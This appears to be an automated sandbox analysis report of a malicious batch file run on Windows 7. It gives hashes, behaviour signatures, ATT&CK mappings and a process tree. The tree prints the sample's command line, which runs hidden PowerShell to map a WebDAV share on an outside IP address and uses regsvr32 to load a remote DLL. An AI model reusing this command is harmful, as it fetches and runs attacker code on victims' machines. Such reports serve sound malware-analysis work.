58d35d6d5449ed2e4b19765cb816a53f6b04f0c7b76f6b4031653ee71858ad48

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 00:07

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General

Target

1735029318528212967.bat
Size

15KB
MD5

0a9f25855e463f11ab15b841612fd559
SHA1

63d55ef717fa4a0043962ef8f0ee2780c9defec2
SHA256

58d35d6d5449ed2e4b19765cb816a53f6b04f0c7b76f6b4031653ee71858ad48
SHA512

aeeaaeb11040a389025577afb15bcca4e9aab1dc8265ea83899b7e0979b2145469d82b9f3d4b7429460d780a06aa1e6c503d2eac237de0623fca9d2310e78de9
SSDEEP

384:2QAbHWG8ZSt6VacFL+alAndGeuOShSzh0dz3Oce:tA7WOt60m0hKzet

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1844	wordpad.exe
1844	wordpad.exe
1844	wordpad.exe
1844	wordpad.exe
1844	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 1844	1864	cmd.exe	32
PID 1864 wrote to memory of 1844	1864	cmd.exe	32
PID 1864 wrote to memory of 1844	1864	cmd.exe	32
PID 1864 wrote to memory of 3028	1864	cmd.exe	33
PID 1864 wrote to memory of 3028	1864	cmd.exe	33
PID 1864 wrote to memory of 3028	1864	cmd.exe	33
PID 3028 wrote to memory of 2896	3028	powershell.exe	35
PID 3028 wrote to memory of 2896	3028	powershell.exe	35
PID 3028 wrote to memory of 2896	3028	powershell.exe	35
PID 3028 wrote to memory of 2648	3028	powershell.exe	36
PID 3028 wrote to memory of 2648	3028	powershell.exe	36
PID 3028 wrote to memory of 2648	3028	powershell.exe	36
PID 3028 wrote to memory of 2648	3028	powershell.exe	36
PID 3028 wrote to memory of 2648	3028	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1735029318528212967.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\743060721029.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2896
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\743060721029.dll
    3⤵
    PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3028-23-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/3028-24-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download